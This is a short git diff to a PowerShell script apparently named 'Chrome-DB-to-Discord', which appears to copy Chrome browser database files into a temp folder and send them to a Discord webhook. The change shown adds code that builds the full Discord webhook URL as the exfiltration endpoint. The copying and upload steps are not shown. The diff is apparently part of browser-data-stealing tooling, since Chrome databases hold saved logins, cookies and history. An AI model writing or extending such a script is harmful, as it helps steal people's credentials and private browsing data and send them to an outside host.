diff --git a/Chrome-DB-to-Discord/main.ps1 b/Chrome-DB-to-Discord/main.ps1 index 52160c7..531c5c8 100644 --- a/Chrome-DB-to-Discord/main.ps1 +++ b/Chrome-DB-to-Discord/main.ps1 @@ -1,5 +1,8 @@ $dc = "$dc" +if ($dc.Length -lt 120){ + $dc = ("https://discord.com/api/webhooks/" + "$dc") +} $temp = [System.IO.Path]::GetTempPath() $tempFolder = Join-Path -Path $temp -ChildPath 'dbfiles' $googledest = Join-Path -Path $tempFolder -ChildPath 'google'